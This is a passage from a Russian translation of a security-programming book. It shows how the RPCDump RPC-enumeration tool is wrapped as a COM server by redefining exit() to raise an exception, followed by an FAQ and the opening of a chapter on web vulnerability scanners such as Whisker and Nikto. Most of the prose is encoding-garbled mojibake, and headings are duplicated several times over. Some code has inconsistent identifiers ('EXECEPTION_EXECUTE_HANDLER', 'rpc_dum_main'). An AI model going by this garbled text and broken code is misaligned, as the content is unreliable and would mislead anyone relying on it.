Â ïðèìåðå 13.9 ïðèâåäåí ïîëíûé êîä ôàéëà COMSupport.h.

Пример 13.9. Пример 13.9. Пример 13.9. Пример 13.9. Пример 13.9. Файл COMSupport.h
1 // Âìåñòî âûõîäà âîçáóæäàåì èñêëþ÷åíèå, êîòîðîå ìîæíî ïåðåõâàòèòü

2 #define exit(x) *((unsigned long*) 0) = 0; // íàðóøåíèå çàùèòû

3
4 void SetInterfaceID(char *pIFaceID);

5 void SetVersion(char *pVersion);

6 void SetUUID(char *pUuid);

7 void SetBinding(char *pBinding);

8 void NextRecord();

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Íåî÷åâèäíà òîëüêî ñòðîêà 2. Ïîêàçàííûé â íåé ìàêðîñ ïåðåîïðåäåëÿåò ôóíê-
öèþ exit. Â ðåçóëüòàòå âñþäó, ãäå ýòà ôóíêöèÿ âñòðåòèòñÿ â òåêñòå ïðîãðàì-
ìû, îíà áóäåò çàìåíåíà çíà÷åíèåì ìàêðîñà, ÷òî ïðèâåäåò ê èñêëþ÷åíèþ â ðå-
çóëüòàòå íàðóøåíèÿ çàùèòû ïàìÿòè. Ýòî íóæíî ïî ñëåäóþùèì ïðè÷èíàì:

� êîãäà ïðîèñõîäèò îáðàùåíèå ê ìåòîäó IRpcEnum::Execute, îí âûçûâàåò
ôóíêöèþ rpcdump_main, à òà â ñâîþ î÷åðåäü – ôóíêöèþ exit. Ïðè ýòîì
EXE-ñåðâåð COM çàâåðøàåòñÿ, à êëèåíò ïðè ýòîì ïîëó÷àåò íå îæèäàåìóþ
èíôîðìàöèþ, à êîä îøèáêè. ßñíî, ÷òî òàêîå ïîâåäåíèå íåæåëàòåëüíî;

� âîçáóæäåíèå èñêëþ÷åíèÿ ïîçâîëÿåò ïðîäîëæèòü ðàáîòó ïðîãðàììû
ñ òîé òî÷êè, ãäå îíî ïåðåõâà÷åíî;

� èñïîëüçîâàíèå ìàêðîñîâ BEGIN_ENTRYPOINT() è END_ENTRY-
POINT() â ñî÷åòàíèè ñ ïåðåîïðåäåëåíèå ñèìâîëà exit – ýòî ýëåãàíòíîå
è óäîáíîå ðåøåíèå.

Â ñòðîêàõ 4–8 îáúÿâëÿþòñÿ âíåøíèå ïðîöåäóðû èíòåãðàöèè ñ ïðèëîæåíèåì.

Интеграция с приложением: файл RPCDump.c

Òåïåðü ïîñìîòðèì, ÷òî íàäî èçìåíèòü â ôàéëå RPCDump.c. Â ïðèìåðå 13.10
ïðèâåäåíî íåñêîëüêî ôðàãìåíòîâ èç ýòîãî ôàéëà.

Добавление СОМ�расширений в программу RPCDUMP
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Пример 13.10. Пример 13.10. Пример 13.10. Пример 13.10. Пример 13.10. Фрагменты файла RPCDump.c, имеющие отношение
к интеграции с COM
1 #include <windows.h>

2 #include <winnt.h>

3
4 #include <stdio.h>

5
6 #include <rpc.h>

7 #include <rpcdce.h>

8
9 #include "COMSupport.h"

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Â ñòðîêå 9 âêëþ÷àåòñÿ ðàññìîòðåííûé âûøå çàãîëîâî÷íûé ôàéë COMSup-
port.h. Îáðàòèòå âíèìàíèå, ÷òî îí âêëþ÷àåòñÿ ïîñëåäíèì.

 1 rpcErr=RpcMgmtEpEltInqNext (hInq, &IfId, &hEnumBind, &uuid, &pAnnot);

 2 if (rpcErr == RPC_S_OK) {

 3    unsigned char *str = NULL;

 4    unsigned char *pincName = NULL;

 5    numFound++;

 6
 7    //

 8    // Íàïå÷àòàòü IfId

 9    //

10    if (UuidToString (&IfId.Uuid, &str) == RPC_S_OK) {

11       char szVersion[50];

12       printf("IfId: %s version %s.%d\n", str, IfId.VersMajor,

13              IfId.VersMinor);

14
15       sprintf(szVersion, "%d.%d", IfId.VersMajor, IfId.VersMinor);

16
17       // Êîä äëÿ ïîääåðæêè COM

18       SetVersion(szVersion);

19       SetInterfaceID((char*)str);

20       // —

21
22       RpcStringFree (&str);

23 }

Â ýòîì ôðàãìåíòå ìû ïîëó÷àåì èäåíòèôèêàòîð è íîìåð âåðñèè RPC-èí-
òåðôåéñà, à çàòåì ïåðåäàåì èõ ñîîòâåòñòâóþùèì ïðîöåäóðàì èíòåãðàöèè
ñ ïðèëîæåíèåì â ñòðîêàõ 18 è 19.

1 //

2 // Íàïå÷àòàòü ID îáúåêòà
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 3 //

 4 if (UuidToString(&uuid, &str) == RPC_S_OK) {

 5    printf("UUID: %s\n", str);

 6
 7    SetUUID((char*)str);

 8
 9    RpcStringFree (&str);

10 }

Â ýòîì ôðàãìåíòå ìû ïîëó÷àåì èäåíòèôèêàòîð îáúåêòà è ïåðåäàåì åãî
ïðîöåäóðå èíòåãðàöèè ñ ïðèëîæåíèåì â ñòðîêå 7.

 1 //

 2 // Íàïå÷àòàòü ïðèâÿçêó

 3 //

 4 if (RpcBindingToString(hEnumBind, &str) == RPC_S_OK) {

 5    printf("Binding: %s\n", str);

 6
 7    SetBinding((char*)str);

 8
 9    RpcStringFree (&str);

10 }

Çäåñü ìû ïîëó÷àåì ñòðîêó ïðèâÿçêè RPC è ïåðåäàåì åå ïðîöåäóðå èíòåãðà-
öèè ñ ïðèëîæåíèåì SetBinding â ñòðîêå 7.

1    NextRecord();

2 }

3 while (rpcErr != RPC_X_NO_MORE_ENTRIES);

Ïîñëå òîãî êàê âñå îòíîñÿùèåñÿ ê îäíîìó èíòåðôåéñó äàííûå ïîëó÷åíû
è ïåðåäàíû ïðîöåäóðàì èíòåãðàöèè, RPCDump âûçûâàåò ôóíêöèþ NextRe-
cord, êîòîðàÿ ñîõðàíÿåò äàííûå âî âíóòðåííåé ñòðóêòóðå è ãîòîâèòñÿ ê ïðè-
åìó ñëåäóþùåé ïîðöèè.

1 int

2 rpc_dum_main(int argc, char *argv[])

3 {

4    // êîä îïóùåí

5 }

Ýòî îïðåäåëåíèå òî÷êè âõîäà â ïðîãðàììó RPCDump. Ðàíüøå îíà, êîíå÷-
íî, íàçûâàëàñü main, íàì ïðèøëîñü åå ïåðåèìåíîâàòü, ÷òîáû ïðè âõîäå ìû
ïîïàäàëè â ôóíêöèþ, íåîáõîäèìóþ äëÿ ïîääåðæêè COM.

Добавление СОМ�расширений в программу RPCDUMP
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Резюме
Ìîäåëü êîìïîíåíòíûõ îáúåêòîâ (COM) – ýòî ñïåöèôèêàöèÿ, ïîçâîëÿþùàÿ
ñîâìåñòíî ðàáîòàòü ðàçëè÷íûì ÷àñòÿì ïðîãðàììíîãî îáåñïå÷åíèÿ. Âîò íå-
êîòîðûå èç äîñòîèíñòâ òåõíîëîãèè COM, äåëàþùèå åå óäîáíîé äëÿ èñïîëü-
çîâàíèÿ â ïðîãðàììàõ, òàê èëè èíà÷å ñâÿçàííûõ ñ èíôîðìàöèîííîé áåçî-
ïàñíîñòüþ.

� Íåçàâèñèìîñòü îò ÿçûêàÍåçàâèñèìîñòü îò ÿçûêàÍåçàâèñèìîñòü îò ÿçûêàÍåçàâèñèìîñòü îò ÿçûêàÍåçàâèñèìîñòü îò ÿçûêà. Ê èíòåðôåéñàì COM îáúåêòîâ ìîæíî ïîëó-
÷èòü äîñòóï èç ëþáîãî ÿçûêà, ïîääåðæèâàþùåãî äâîè÷íóþ ñïåöèôè-
êàöèþ COM. Ê ÷èñëó òàêèõ ÿçûêîâ îòíîñÿòñÿ C, C++, C#, Visual Basic,
JScri pt, Perl è Python, õîòÿ ýòîò ïåðå÷åíü, êîíå÷íî, íå  èñ÷åðïûâàþùèé.
Òàêèì îáðàçîì, COM-îáúåêò, íàïèñàííûé, ê ïðèìåðó, íà Visual Basic,
ìîæíî âûçâàòü èç ïðîãðàììû íà C++ è íàîáîðîò.

� Êîíòåêñò èñïîëíåíèÿÊîíòåêñò èñïîëíåíèÿÊîíòåêñò èñïîëíåíèÿÊîíòåêñò èñïîëíåíèÿÊîíòåêñò èñïîëíåíèÿ. COM îáåñïå÷èâàåò îòäåëåíèå èíòåðôåéñà îò
ðåàëèçàöèè â ñàìîì ÷òî íè íà åñòü áóêâàëüíîì ñìûñëå. COM-îáúåêò,
ê êîòîðîìó îáðàùàåòñÿ ïðèëîæåíèå, ìîæåò íàõîäèòüñÿ â òðåõ ìåñòàõ:
âíóòðè àäðåñíîãî ïðîñòðàíñòâà êëèåíòà, â àäðåñíîì ïðîñòðàíñòâå äðó-
ãîãî ïðèëîæåíèÿ è íà óäàëåííîì ñåðâåðå.

� Èíòåðïðåòèðóåìûå ÿçûêèÈíòåðïðåòèðóåìûå ÿçûêèÈíòåðïðåòèðóåìûå ÿçûêèÈíòåðïðåòèðóåìûå ÿçûêèÈíòåðïðåòèðóåìûå ÿçûêè. ÑOM-îáúåêò, êîòîðûé ïîääåðæèâàåò ñïå-
öèàëüíûé èíòåðôåéñ IDispatch, ìîæíî âûçûâàòü èç òàêèõ èíòåðïðåòè-
ðóåìûõ ÿçûêîâ, êàê  VBScri pt è JScri pt. Ñëåäîâàòåëüíî, òàêèå  COM-
îáúåêòû ìîæíî ñîçäàâàòü, â ÷àñòíîñòè, èç áðàóçåðà Internet Explorer èëè
èç ïðîãðàììû Windows Scri pting Host.

Ïðèìåíåíèå áèáëèîòåêè Active Template Library (ATL) – ýòî ëó÷øèé ñïî-
ñîá ïðîãðàììèðîâàíèÿ COM-îáúåêòîâ íà ÿçûêå C++. Ïðè ýòîì îáúåì âñïî-
ìîãàòåëüíîãî êîäà, íåîáõîäèìîãî äëÿ ïîääåðæêè ñïåöèôèêàöèè COM, ñâî-
äèòñÿ ê ìèíèìóìó è, â îòëè÷èå äðóãèõ ñïîñîáîâ, íàïðèìåð, MFC, êîìïîíåí-
òû ïîëó÷àþòñÿ î÷åíü ýôôåêòèâíûìè è êîìïàêòíûìè.

Обзор изложенного материала
Ìîäåëü COMÌîäåëü COMÌîäåëü COMÌîäåëü COMÌîäåëü COM

� COM – ýòî íå çàâèñÿùàÿ íè îò ÿçûêà, íè îò îïåðàöèîííîé ñèñòåìû
ñïåöèôèêàöèÿ, îïðåäåëÿþùàÿ íà äâîè÷íîì óðîâíå, êàê ïðèëîæåíèå
äîëæíî çàãðóæàòü îáúåêòû è îáðàùàòüñÿ ê èõ èíòåðôåéñàì è ìåòîäàì.

� Âñå îáúåêòû, ñîîòâåòñòâóþùèå ñïåöèôèêàöèè COM, äîëæíû ðåàëèçî-
âûâàòü èíòåðôåéñ IUnknown, â êîòîðîì åñòü òðè ìåòîäà: QueryInterface,
AddRef è Release.
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Áèáëèîòåêà ATLÁèáëèîòåêà ATLÁèáëèîòåêà ATLÁèáëèîòåêà ATLÁèáëèîòåêà ATL
� ATL – ýòî âûñîêîýôôåêòèâíàÿ áèáëèîòåêà øàáëîíîâ, ïðåäíàçíà÷åí-

íàÿ äëÿ ðåàëèçàöèÿ COM-îáúåêòîâ íà ÿçûêå C++.
� Â Visual Studio .NET â áèáëèîòåêó ATL âêëþ÷åíà ïîääåðæêà àòðèáóòîâ.

Äîáàâëåíèå COM-ðàñøèðåíèé â ïðîãðàììó RPCDUMPÄîáàâëåíèå COM-ðàñøèðåíèé â ïðîãðàììó RPCDUMPÄîáàâëåíèå COM-ðàñøèðåíèé â ïðîãðàììó RPCDUMPÄîáàâëåíèå COM-ðàñøèðåíèé â ïðîãðàììó RPCDUMPÄîáàâëåíèå COM-ðàñøèðåíèé â ïðîãðàììó RPCDUMP
� Äîáàâëåíèå COM-ðàñøèðåíèé â ñóùåñòâóþùóþ ïðîãðàììó äåëàåò âîç-

ìîæíûì äîñòóï ê åå ôóíêöèîíàëüíîñòè èç äðóãèõ ÿçûêîâ è êîíòåêñòîâ
èñïîëíåíèÿ.

� Ïðè äîáàâëåíèè COM-ðàñøèðåíèé ñòàðàéòåñü îãðàíè÷èòüñÿ ìèíè-
ìàëüíîé ìîäèôèêàöèåé îðèãèíàëüíîãî èñõîäíîãî òåêñòà è îòûñêàòü
îïòèìàëüíûå òî÷êè äëÿ ïîëó÷åíèÿ èíôîðìàöèè îò èñõîäíîé ïðî-
ãðàììû.

Ссылки на сайты
� www.appl icationdefense.com. Íà ñàéòå  Appl ication Defense èìååòñÿ áîëü-

øàÿ ïîäáîðêà áåñïëàòíûõ èíñòðóìåíòîâ ïî îáåñïå÷åíèþ áåçîïàñíîñòè
â äîïîëíåíèå ê ïðîãðàììàì, ïðåäñòàâëåííûì â ýòîé êíèãå.

� http://msdn.microsoft.com. Ñàéò Microsoft Developer Network ïðåäîñòàâ-
ëÿåò â ðàñïîðÿæåíèå ðàçðàáîò÷èêîâ, ïèøóùèõ äëÿ îïåðàöèîííûõ ñèñ-
òåì Microsoft, îãðîìíûé îáúåì èíôîðìàöèè, â òîì ÷èñëå ïî òåõíîëî-
ãèÿì COM è ATL.

� http://msdn.microsoft.com/vstudio. Ýòà ññûëêà âåäåò íà ðàçäåë ñàéòà, ïî-
ñâÿùåííûé ñðåäå ðàçðàáîòêè Microsoft – Visual Studio .NET.

� http://www.bindview.com/support/Razor/Util ities. Ñòðàíèöà ñàéòà êîìïà-
íèè BindView, ïîñâÿùåííàÿ èíñòðóìåíòàðèþ äëÿ îáåñïå÷åíèÿ áåçîïàñ-
íîñòè, ðàçðàáîòàííîìó ãðóïïîé RAZOR. Ïðîãðàììà RPCDump ñîçäàíà
èìåííî ýòîé ãðóïïîé.

Часто задаваемые вопросы
Ñëåäóþùèå ÷àñòî çàäàâàåìûå âîïðîñû, íà êîòîðûå îòâå÷àþò àâòîðû êíèãè,
ïðèçâàíû ïîìî÷ü âàì îöåíèòü, íàñêîëüêî õîðîøî âû ïîíÿëè èäåè, èçëî-
æåííûå â äàííîé ãëàâå, è âîçìîæíûå èõ ïðèìåíåíèÿ íà ïðàêòèêå. Åñëè âû õî-
òèòå çàäàòü àâòîðàì âîïðîñ, çàéäèòå íà ñòðàíèöó www.syngress.com/solutions
è çàïîëíèòå ôîðìó Ask the AuthorAsk the AuthorAsk the AuthorAsk the AuthorAsk the Author. Çàîäíî âû ïîëó÷èòå äîñòóï ê òûñÿ÷àì
äðóãèõ FAQîâ íà ñàéòå ITFAQnet.com.

Часто задаваемые вопросы
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Â:Â:Â:Â:Â: Ãäå ìîæíî ïîëó÷èòü äîïîëíèòåëüíóþ èíôîðìàöèþ î òåõíîëîãèÿõ
COM è ATL?

Î:Î:Î:Î:Î: Â ñåòè Èíòåðíåò åñòü ìíîæåñòâî ðåñóðñîâ, ñîäåðæàùèõ âïîëíå ïðèëè÷-
íîå ââåäåíèå â COM. Ëó÷øèì èç íèõ, êîíå÷íî, ÿâëÿåòñÿ ñàéò Microsoft. Çàãëÿ-
íèòå íà ñòðàíèöû www.microsoft.com/com è msdn.microsoft.com. Õîðîøåå
ââåäåíèå â îñíîâû òåõíîëîãèè COM ìîæíî íàéòè â êíèãå Dale Rogerson «In-
side COM» (Microsoft Press, 1996). Î áèáëèîòåêå ATL ìîæíî óçíàòü íà ñàéòå
MSDN, à òàêæå èç êíèãè George Shepherd, Brad King «Inside ATL».

Â:Â:Â:Â:Â: ×òî òàêîå ATL-àòðèáóòû?
Î: Î: Î: Î: Î: Ïðîãðàììèðîâàíèå ñ èñïîëüçîâàíèåì àòðèáóòîâ – ýòî íîâàÿ âîçìîæ-

íîñòü, ïîÿâèâøàÿñÿ â Visual Studio .NET. Îíà ïîçâîëÿåò çàìåòíî ñîêðàòèòü
âðåìÿ ðàçðàáîòêè çà ñ÷åò òîãî, ÷òî íàïèñàíèå ñòàíäàðòíîãî âñïîìîãàòåëüíî-
ãî êîäà ïîðó÷àåòñÿ êîìïèëÿòîðó è ïðîâàéäåðàì àòðèáóòîâ. Åñëè â òåêñòå
âñòðå÷àåòñÿ íåêèé àòðèáóò, òî íà ýòàïå êîìïèëÿöèè â âàøó ïðîãðàììó âñòàâ-
ëÿåòñÿ êîä, ðåàëèçóþùèé ôóíêöèè ýòîãî àòðèáóòà. Íàïðèìåð, åñëè èñïîëüçó-
åòñÿ àòðèáóò [module(dll)], òî áóäåò âñòàâëåí êîä âàøåãî ìîäóëÿ, â êîòîðîì
óæå ðåàëèçîâàíû ÷åòûðå òðåáóåìûõ COM ôóíêöèè: DllGetClassObject, DllCan-
UnloadNow, DllRegisterServer è DllUnregisterServer.

Â:Â:Â:Â:Â: Äëÿ ÷åãî íóæåí ìàêðîñ ïðåïðîöåññîðà _ATL_ATTRIBUTES?
Î:Î:Î:Î:Î: Îí âêëþ÷àåò ïîääåðæêó ATL-àòðèáóòîâ. Åñëè çàáûòü ïðî íåãî è âîñ-

ïîëüçîâàòüñÿ àòðèáóòàìè, òî ðåçóëüòàò ìîæåò îêàçàòüñÿ íåîæèäàííûì.
Â:Â:Â:Â:Â: ß ïîíèìàþ, êàê ìàêðîñû BEGIN_ENTRYPOINT è END_ENTRYPOINT

ïîìîãàþò ïåðåõâàòèòü ïîòîê óïðàâëåíèÿ, íî êàê ïîëó÷èòü çíà÷åíèå àðãó-
ìåíòà, ïåðåäàííîãî ôóíêöèè, êîãäà âîçáóæäàåòñÿ èñêëþ÷åíèå?

Î:Î:Î:Î:Î: ×òîáû îòâåòèòü íà ýòîò âîïðîñ, èìååò ñìûñë ïîñìîòðåòü, âî ÷òî ðàñøè-
ðÿþòñÿ ìàêðîñû BEGIN_ENTRYPOINT è END_ENTRYPOINT:

#define BEGIN_ENTRYPOINT() __try {
#define END_ENTRYPOINT() } \
__except(EXCEPTION_EXECUTE_HANDLER) {}

À âîò êàê âûãëÿäèò ïåðåîïðåäåëåíèå ñèìâîëà exit(n):

#define exit(x) *((unsigned long*) 0) = 0;

×òîáû ñîõðàíèòü çíà÷åíèå êîäà âûõîäà, íóæíî ñëåãêà ìîäèôèöèðîâàòü
ýòè ìàêðîñû. Âî-ïåðâûõ, íóæíî ðåøèòü, êàê ôóíêöèÿ exit áóäåò âîçâðàùàòü
êîä âûõîäà, íå âûïîëíÿÿ ñàìîãî âûõîäà. Ïðîùå âñåãî âîçáóäèòü èñêëþ÷å-
íèå, â ñîñòàâå êîòîðîãî ïåðåäàåòñÿ äîïîëíèòåëüíàÿ èíôîðìàöèÿ. Íàïðèìåð,
ìîæíî ïîñòóïèòü òàê:
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#define EXCEPTION_COMSUPPORT (0XDEADB33F)
#define exit(x) \
  if (g_IsCOM) { \
     int arg[] = { ##x##, 0}; \
     RaiseException( \
EXCEPTION_COMSUPPORT, \
EXCEPTION_NONCONTINUABLE, \
1, (PULONG)&arg); \
  } else TerminateProcess( \
GetCurrentProcess(), ##x##);

Çäåñü äåëàåòñÿ ïî ñóùåñòâó òî æå, ÷òî â ïðåäûäóùåì ïåðåîïðåäåëåíèè, òîëü-
êî áîëåå ÿâíî. Âî-ïåðâûõ, ìû ïðîâåðÿåì, íóæíî ëè âîçáóäèòü èñêëþ÷åíèå èëè
ïðîñòî çàâåðøèòü ïðîöåññ. Åñëè íàäî âîçáóæäàòü èñêëþ÷åíèå, ìû âûçûâàåì
Win32-ôóíêöèþ RaiseException, ïåðåäàâàÿ åé êîä âûõîäà â êà÷åñòâå ïàðàìåòðà.

×òîáû ïåðåõâàòèòü ýòî èñêëþ÷åíèå, ïîíàäîáèòñÿ ïðèìåðíî òàêîé êîä:

int nRes;
LPEXCEPTION_POINTERS pi;
__try {
  nRes = rpcdump_main(g_argc, g_argv);
}
__except(pi = GetExceptionInformation(),
         EXECEPTION_EXECUTE_HANDLER) {
  nRes = pi->ExceptionRecord->ExceptionInformation[0];
}

Â ïðèíöèïå, ýòîò êîä äåëàåò òî æå ñàìîå, ÷òî ìàêðîñ BEGIN_ENTRY-
POINT, òîëüêî îí ïîëó÷àåò âîçâðàùàåìîå çíà÷åíèå, äàæå åñëè ôóíêöèÿ
rpcdump_main âîçáóäèëà èñêëþ÷åíèå.

Â:Â:Â:Â:Â: Èíîãäà íà ýêðàíå ïðîìàðãèâàåò êîíñîëü, åñëè ÿ âûçûâàþ êîìïîíåíò èç
ñâîåãî ñöåíàðèÿ. Â ÷åì äåëî?

Î:Î:Î:Î:Î: Ýòî ïîòîìó, ÷òî óòèëèòà ìîæåò ðàáîòàòü è êàê êîíñîëüíîå ïðèëîæå-
íèå, è êàê COM-îáúåêò. Åñëè îíà îïðåäåëÿåò, ÷òî âûçâàíà â ðåæèìå COM, òî
êîíñîëüíîå îêíî ñðàçó çàêðûâàåòñÿ. Åñòü äâà ñïîñîáà ñïðàâèòüñÿ ñ ýòèì ýô-
ôåêòîì, è ó êàæäîãî èç íèõ ñâîè íåäîñòàòêè:

� ñïðîåêòèðîâàòü óòèëèòó êàê ãðàôè÷åñêîå ïðèëîæåíèå. Åñëè îíà çàïó-
ùåíà â êîíñîëüíîì ðåæèìå, ïðèñîåäèíèòüñÿ ê ðîäèòåëüñêîé êîíñîëè
ñ ïîìîùüþ ôóíêöèè AttachConsole è íàñòðîèòü ôóíêöèè ââîäà/âûâîäà
äëÿ ðàáîòû ñ íîâûìè STDIN è STDOUT. Íåäîñòàòîê â òîì, ÷òî òåêñò,
îòîáðàæàåìûé íà êîíñîëè, íå áóäåò âûãëÿäåòü òàê æå, êàê â ñëó÷àå, êîã-
äà óòèëèòà ðàçðàáàòûâàëàñü êàê êîíñîëüíîå ïðèëîæåíèå;

� âîîáùå óäàëèòü ÷àñòü ïðèëîæåíèÿ, ñâÿçàííóþ ñ êîíñîëüþ, è ñ÷èòàòü
åãî èñêëþ÷èòåëüíî COM-îáúåêòîì. Î÷åâèäíûé íåäîñòàòîê â òîì,
÷òî ìû òåïåðü èìååì äâà èíñòðóìåíòà âìåñòî îäíîãî.

Часто задаваемые вопросы
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Â:Â:Â:Â:Â: Ïî÷åìó íåîáõîäèìî ïåðåîïðåäåëÿòü ìåòîä RegisterServer â êëàññå CCon-
soleApp?

Î:Î:Î:Î:Î: Àòðèáóò [module(exe)] ãîâîðèò êîìïèëÿòîðó, ÷òî íàäî ïîäñòàâèòü ïîä-
õîäÿùèé êîä ðåãèñòðàöèè COM-îáúåêòà. Îäíàêî ðåãèñòðàöèè, âûïîëíÿåìîé
ïî óìîë÷àíèþ, äëÿ äàííîãî èíñòðóìåíòà íåäîñòàòî÷íî. Äåëî â òîì, ÷òî îí
äîëæåí ïîíèìàòü, êàê åãî çàïóñòèëè: êàê êîìïîíåíò èëè îðèãèíàëüíóþ êî-
ìàíäíóþ óòèëèòó. Äëÿ ýòîãî ñëåäóåò ïðîàíàëèçèðîâàòü êîìàíäíóþ ñòðîêó.
Åñëè â íåé åñòü ôëàã «-COMSERVER», òî ïðîãðàììà ïåðåõîäèò â ðåæèì COM,
èíà÷å ðàáîòàåò êàê êîíñîëüíîå ïðèëîæåíèå. Ìåòîä RegisterServer äîáàâëÿåò
ýòîò ôëàã â êîìàíäíóþ ñòðîêó, õðàíÿùóþñÿ â ðååñòðå. Â ðåçóëüòàòå ïðè çàïóñ-
êå EXE-ñåðâåðà ñðåäîé èñïîëíåíèÿ COM íóæíûé ôëàã â êîìàíäíîé ñòðîêå
áóäåò ïðèñóòñòâîâàòü.

Â:Â:Â:Â:Â: ß äîáàâèë COM-ðàñøèðåíèÿ ê ïðèëîæåíèþ, íàïèñàííîìó íà ÿçûêå C.
Íî ïðè ñáîðêå ïðîåêòà ÿ ïîëó÷àþ ñîîáùåíèå î òîì, ÷òî êîìïîíîâùèê íå
ìîæåò íàéòè ìîè ïðîöåäóðû èíòåãðàöèè ñ ïðèëîæåíèåì. Îøèáêà âûãëÿäèò
ïðèìåðíî òàê: error LNK2019: unresolved external symbol _NextRecord referen-
ced in function _try_protocol. ×òî ñëó÷èëîñü?

Î:Î:Î:Î:Î: Ýòî î÷åíü ðàñïðîñòðàíåííàÿ îøèáêà, âîçíèêàþùàÿ ïðè ñáîðêå ïðîåê-
òà, ñîäåðæàùåãî ÷àñòè, íàïèñàííûå íà C è C++. Êîãäà êîìïèëèðóåòñÿ ôóíê-
öèÿ, íàïèñàííàÿ íà C++, êîìïèëÿòîð ìîäèôèöèðóåò åå èìÿ, êîäèðóÿ â íåì
òèïû àðãóìåíòîâ. Íî â ÿçûêå C ïðèíÿòî äðóãîå ñîãëàøåíèå îá èìåíàõ â îáú-
åêòíîì ôàéëå. Ïîýòîìó íóæíî êàê-òî ïðèéòè ê åäèíîé òî÷êå çðåíèÿ íà èìåíà.

Èìåííî äëÿ ýòîãî ñëóæèò äèðåêòèâà extern «C» {. Ïîìåñòèòå â òàêîé áëîê
âñå ôóíêöèè, íàïèñàííûå íà C, íî âûçûâàåìûå èç êîäà íà C++, è êîìïîíîâ-
ùèê ñìîæåò ðàçðåøèòü êîëëèçèè. Íèæå ïðèâåäåí ïðîñòîé ïðèìåð:

extern "C" {
  BOOL g_IsCOM;
  void SetInterfaceID(char *pIfaceID) {}
}
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Введение
Ïîÿâëåíèå «Âñåìèðíîé ïàóòèíû» ïîäíÿëî íà íîâóþ âûñîòó âîçìîæíîñòè
êîììóíèêàöèé. Web-ñåðâåðû, ÷àòû, ïðîãðàììû îáìåíà ôàéëàìè è ïðî÷èå
ïðèëîæåíèÿ, îáÿçàííûå ñâîèì ñóùåñòâîâàíèåì Web, èçìåíèëè ìèð. Íî îä-
íîâðåìåííî ýòè òåõíîëîãèè ïðèíåñëè ñ ñîáîé óãðîçû áåçîïàñíîñòè, â òîì
÷èñëå òàéíå ëè÷íîé æèçíè, õðàíèìûì äàííûì è öåëîñòíîñòè ïîëüçîâàòåëü-
ñêèõ ñèñòåì. Îòâåòîì ñòàëè ìåòîäû àóòåíòèôèêàöèè, ñòàíäàðòû øèôðîâà-
íèÿ è äðóãèå ìåðû ïðîòèâîäåéñòâèÿ. Web-ñåðâåðû, ñåòåâûå ïðèëîæåíèÿ,
ñàéòû è õðàíÿùèåñÿ íà íèõ äàííûå (î÷åâèäíî, ñàìàÿ ïîïóëÿðíàÿ è ÷àñòî èñ-
ïîëüçóåìàÿ ÷àñòü ñåòè Èíòåðíåò) – âîò ïðåäìåò çàáîòû áîëüøèíñòâà ñïåöèà-
ëèñòîâ â îáëàñòè èíôîðìàöèîííîé áåçîïàñíîñòè.

Whisker – ñëîæíûé ñöåíàðèé, íàïèñàííûé íà ÿçûêå Perl è ïðåäíàçíà-
÷åííûé äëÿ ïîèñêà óÿçâèìîñòåé, êîòîðûå ìîæíî àòàêîâàòü ÷åðåç Web,
áûë ñòàíäàðòîì äå ôàêòî äëÿ ïîäîáíûõ ïðèëîæåíèé â òå÷åíèå òðåõ ëåò.
Rain Forest Puppy (RFP) íàïèñàë Whisker, ñòðåìÿñü ñîçäàòü ïîëíîöåííûé
èíñòðóìåíò, êîòîðûé ñêàíèðîâàë áû Web-ñåðâåðû â ïîèñêàõ óÿçâèìûõ
ïðèëîæåíèé èëè òî÷åê âíåäðåíèÿ äëÿ ïîñëåäóþùåé àòàêè. Çàòåì RFP íà-
÷àë íîâûé ïðîåêò LibWhisker, êîòîðûé äîëæåí áûë âîáðàòü â ñåáÿ áîëü-
øóþ ÷àñòü ôóíêöèîíàëüíîñòè, íåîáõîäèìîé äëÿ çàïóñêà ñëîæíûõ çàïðî-
ñîâ ñ ïîìîùüþ Whisker. Âñêîðå LibWhisker ñòàëà áàçîâîé òåõíîëîãèåé, íà
îñíîâå êîòîðîé ðàçðàáàòûâàëèñü ïî÷òè âñå èíñòðóìåíòû äëÿ ñêàíèðîâà-
íèÿ Web. À ÿâíûì ëèäåðîì ñðåäè âñåõ áåñïëàòíûõ ñòàòè÷åñêèõ ñêàíåðîâ
ñòàëà ïðîãðàììà Nikto, ñîçäàííàÿ ãðóïïîé CIRT (Computer Incident Respon-
se Team – ãðóïïà áûñòðîãî ðåàãèðîâàíèÿ íà êîìïüþòåðíûå àòàêè ïðè Ìè-
íèñòåðñòâå ýíåðãåòèêè ÑØÀ). Ê ïðîãðàììå Nikto ñóùåñòâóåò íàïèñàííûé
íà Perl èíòåðôåéñ, êîòîðûé ïîëüçóåòñÿ ìîäóëÿìè LibWhisker äëÿ ðåàëèçà-
öèè ñëîæíûõ ôóíêöèé. Ïîìèìî ýòîãî èíòåðôåéñà, â ñîñòàâ Nikto âõîäèò
íîâàÿ òåêñòîâàÿ áàçà äàííûõ, ñîäåðæàùàÿ ìíîæåñòâî ïîòåíöèàëüíî îïàñ-
íûõ çàïðîñîâ äëÿ ïîèñêà óÿçâèìûõ CGI-ïðèëîæåíèé è ïîëó÷åíèÿ «øàïîê»
Web-ñåðâåðîâ (÷àñòü îòâåòà, ïî êîòîðîé ìîæíî èäåíòèôèöèðîâàòü Web-
ñåðâåð).

Â íàø ñêàíåð Web-ñåðâåðîâ SP-Rebel âõîäèò íîâûé ìåõàíèçì ðàçáîðà ýòîé
áàçû äàííûõ îá óÿçâèìîñòÿõ. Êðîìå òîãî, îí ñîäåðæèò «ïàêåòíóþ ïóøêó»,
êîòîðàÿ ïîñûëàåò âñå âîçìîæíûå àòàêóþùèå ñòðîêè öåëåâûì ñèñòåìàì.
Â ýòîé ãëàâå ìû ïîäðîáíî ðàññìîòðèì äèçàéí ýòîé ïðîãðàììû, âîïðîñû ðå-
àëèçàöèè è îñíîâíûå êîìïîíåíòû, êîòîðûå ÷àñòî âñòðå÷àþòñÿ â êîìàíäíûõ
óòèëèòàõ. Âñå ýòî äàñò âàì âîçìîæíîñòü ïðîâåðèòü, íàñêîëüêî óñïåøíî âû
îâëàäåëè ìàòåðèàëîì, èçëîæåííûì â êíèãå.
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Проектирование
Ñàìîå âàæíîå ïðè ðàçðàáîòêå ëþáîãî ïðîãðàììíîãî îáåñïå÷åíèÿ – ïðà-
âèëüíî ñïðîåêòèðîâàòü åãî. Ñîçäàíèå ïðîãðàììû – ýòî íåòðèâèàëüíàÿ çàäà-
